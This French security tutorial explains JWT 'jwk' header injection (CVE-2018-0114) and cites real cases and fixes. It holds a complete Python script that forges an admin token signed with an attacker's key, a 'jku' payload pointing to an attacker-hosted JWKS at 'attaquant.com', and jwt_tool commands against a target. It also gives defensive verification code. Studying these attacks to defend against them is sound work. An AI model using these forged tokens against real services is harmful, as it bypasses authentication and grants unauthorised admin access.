L'attaquant intègre sa propre clé publique dans l'en-tête jwk, trompant le serveur pour qu'il vérifie le token avec la clé de l'attaquant.
TL;DR
jwkLe paramètre d'en-tête jwk (JSON Web Key) est défini dans RFC 7515 comme un champ optionnel contenant la clé publique correspondant à la clé utilisée pour signer le JWS. La vulnérabilité survient quand une bibliothèque implémente ce champ et vérifie la signature du token contre la clé publique intégrée sans vérifier que cette clé provient d'une source de confiance.
L'attaque est logiquement circulaire : la bibliothèque accepte le token car elle vérifie contre la clé publique dans l'en-tête du token — mais l'attaquant a mis à la fois la clé et la signature dans le token. La bibliothèque effectue une vérification RSA valide ; elle vérifie simplement contre la mauvaise clé. Il s'agit de CWE-345 (Vérification insuffisante de l'authenticité des données).
CVE-2018-0114 (CVSS 9,3) dans node-jose a été la première divulgation répandue. La vulnérabilité a été redécouverte indépendamment dans plusieurs bibliothèques JWT depuis, incluant jose-php et plusieurs implémentations d'entreprise personnalisées.
Attaque complète en Python :
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
import base64, json
def b64url(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
def int_en_octets(n: int) -> bytes:
return n.to_bytes((n.bit_length() + 7) // 8, 'big')
# Étape 1 : Générer paire de clés RSA de l'attaquant
cle_privee = rsa.generate_private_key(
public_exponent=65537, key_size=2048, backend=default_backend()
)
cle_publique = cle_privee.public_key()
nombres_pub = cle_publique.public_numbers()
# Étape 2 : Construire représentation JWK de la clé publique de l'attaquant
jwk_attaquant = {
"kty": "RSA",
"n": b64url(int_en_octets(nombres_pub.n)),
"e": b64url(int_en_octets(nombres_pub.e))
}
# Étape 3 : Construire en-tête forgé avec jwk intégré
en_tete_forge = {"alg": "RS256", "typ": "JWT", "jwk": jwk_attaquant}
# Étape 4 : Construire charge malveillante
charge_forgee = {"sub": "utilisateur123", "role": "admin", "exp": 9999999999}
# Étape 5 : Encoder et signer
h = b64url(json.dumps(en_tete_forge, separators=(',',':')).encode())
p = b64url(json.dumps(charge_forgee, separators=(',',':')).encode())
msg = f"{h}.{p}".encode()
signature = cle_privee.sign(msg, padding.PKCS1v15(), hashes.SHA256())
token_forge = f"{h}.{p}.{b64url(signature)}"| Variante | Technique | Remarques |
|---|---|---|
| Injection jwk basique | Clé publique RSA intégrée dans l'en-tête | Schéma CVE-2018-0114 |
| Injection de clé EC | Clé publique EC intégrée (pour les bibliothèques ES256) | Même attaque, type de clé différent |
| Variante jku SSRF | jwk via URL (en-tête jku) — le serveur effectue une requête | Nécessite un réseau sortant ; vecteur SSRF également |
| Injection x5c | Certificat X.509 intégré à la place du jwk | Utilise un certificat plutôt qu'une clé brute — voir jwt-x5c-injection |
| Confusion jwk hybride + alg | jwk avec en-tête HS256 pointant vers la clé publique | Variante avancée pour les atténuations partielles |
{
"alg": "RS256",
"typ": "JWT",
"kid": "evil-kid-001",
"jku": "https://attaquant.com/jwks.json"
}JWKS de l'attaquant hébergé à https://attaquant.com/jwks.json :
{
"keys": [{
"kty": "RSA",
"kid": "evil-kid-001",
"n": "<modulus_cle_publique_attaquant_b64>",
"e": "AQAB"
}]
}Le serveur récupère ce JWKS, vérifie la signature du token contre la clé de l'attaquant — et accepte le token forgé. Cette variante est également un vecteur SSRF.
CVE-2018-0114 — node-jose (CVSS 9,3)
La bibliothèque node-jose faisait confiance sans condition à la clé publique intégrée dans l'en-tête JWT jwk. Les versions antérieures à 0.11.0 étaient affectées. L'impact était un contournement d'authentification total. La correction : node-jose ignore maintenant l'en-tête jwk lors de l'utilisation d'un magasin de clés pré-enregistré.
CVE-2026-22817 — Middleware JWK Hono (CVSS 8,2)
Le middleware JWT de Hono pour les runtimes edge n'imposait pas de champ d'algorithme lors du traitement des tokens JWK. Un token sans champ alg dans le JWK causait une confusion d'algorithme via le champ jwk.
HackerOne #987272 — jku SSRF → Contournement Auth (7 500 €)
Un chercheur en sécurité a découvert qu'une application fintech récupérait l'URL jku sans validation de liste d'autorisation. Le chercheur a hébergé un JWKS valide sur son propre domaine, signé un JWT forgé avec la clé privée correspondante, et envoyé à l'API. Le serveur a récupéré le JWKS du chercheur, vérifié la signature, et retourné une réponse authentifiée — accès admin complet.
Utiliser l'extension Burp JWT Editor :
Injection jwk manuelle :
openssl genrsa -out attaquant_prive.pem 2048
openssl rsa -in attaquant_prive.pem -pubout -out attaquant_public.pem
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X i -np
# (-X i = attaque injection JWK intégré)Test jku : ajouter "jku": "https://VOTRE.burpcollaborator.net/jwks.json" à l'en-tête. Surveiller les rappels Collaborator.
jwt_tool mode injection jwk :
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X i -np -url "https://cible.com/api/moi"BreachVex détecte l'injection jwk par test d'injection de source de clé. Il génère une paire de clés RSA-2048 fraîche par scan, injecte la clé publique dans l'en-tête JWT, signe le token, et teste contre un oracle d'authentification confirmé. Pour l'injection jku, il utilise des rappels hors-bande pour détecter les récupérations côté serveur. Un contournement jwk confirmé exige une réponse 200 avec un contenu de corps spécifique à l'utilisateur.
L'approche la plus sûre : rejeter tout token contenant ces en-têtes entièrement.
EN_TETES_INTERDITS = {"jwk", "jku", "x5u", "x5c"}
def verifier_jwt_securise(token: str, cle_publique, alg_autorise: str = "RS256") -> dict:
import jwt as pyjwt
en_tete = pyjwt.get_unverified_header(token)
trouves = EN_TETES_INTERDITS & en_tete.keys()
if trouves:
raise SecurityError(f"Paramètres JWT interdits : {trouves}")
if en_tete.get("alg") != alg_autorise:
raise SecurityError(f"Algorithme inattendu : {en_tete.get('alg')!r}")
return pyjwt.decode(token, cle_publique, algorithms=[alg_autorise])import { jwtVerify, createRemoteJWKSet } from 'jose';
// Utiliser uniquement JWKS de confiance contrôlé par le serveur
const JWKS_CONFIANCE = createRemoteJWKSet(
new URL('https://auth.exemple.com/.well-known/jwks.json')
);
const { payload } = await jwtVerify(token, JWKS_CONFIANCE, {
algorithms: ['RS256'],
issuer: 'https://auth.exemple.com',
audience: 'api.exemple.com',
});La plupart des applications de production devraient désactiver le support des en-têtes jwk, jku, x5u et x5c entièrement. Ces champs sont nécessaires uniquement pour la découverte de clés dans les protocoles fédérés (OIDC, JOSE). Si vos tokens JWT sont émis par une seule autorité contrôlée par le serveur, aucun de ces champs ne sert d'objectif légitime — leur présence dans un token est un signal d'alarme.
L'injection JWK exploite les bibliothèques qui acceptent une clé publique intégrée dans le champ jwk de l'en-tête du token (CVE-2018-0114). L'attaquant génère une paire de clés RSA, intègre sa clé publique dans l'en-tête JWT sous le champ jwk, et signe le token avec sa clé privée. La bibliothèque vulnérable vérifie la signature contre le jwk intégré — que l'attaquant contrôle — et l'accepte.
CVE-2018-0114 (CVSS 9,3) dans node-jose documentait que la bibliothèque faisait confiance sans condition à la clé publique intégrée dans l'en-tête JWT jwk. Un attaquant pouvait générer une paire de clés RSA, intégrer la clé publique dans l'en-tête JWT, signer avec la clé privée, et le serveur accepterait le token car il vérifiait contre la clé intégrée plutôt que depuis un magasin de clés de confiance.
L'injection jwk intègre la clé publique de l'attaquant directement dans l'en-tête JWT — aucune requête réseau nécessaire. L'injection jku fournit une URL pointant vers un point de terminaison JWKS distant que le serveur récupère. jwk est autonome et fonctionne même quand le serveur n'a pas d'accès réseau sortant. jku nécessite que le serveur fasse une requête HTTP sortante et est aussi un vecteur SSRF.
Dans l'extension Burp JWT Editor : intercepter une requête JWT, ouvrir JWT Editor, cliquer 'Attaque' puis 'JWK Intégré'. L'extension génère une paire de clés RSA, injecte la clé publique dans l'en-tête du token sous le champ jwk, signe avec la clé privée et retourne le token modifié. Renvoyer la requête — une réponse 200 avec du contenu protégé confirme la vulnérabilité.
CVE-2018-0114 affectait initialement node-jose. La classe d'attaque a été redécouverte dans des implémentations qui suivent trop littéralement la spécification RFC — RFC 7517 définit le paramètre jwk mais n'impose pas de validation côté serveur contre un magasin de confiance. Les bibliothèques affectées à diverses époques incluent node-jose (CVE-2018-0114), jose-php, et les implémentations JWT personnalisées qui analysent l'en-tête complet sans mettre en liste blanche les sources de clés de confiance.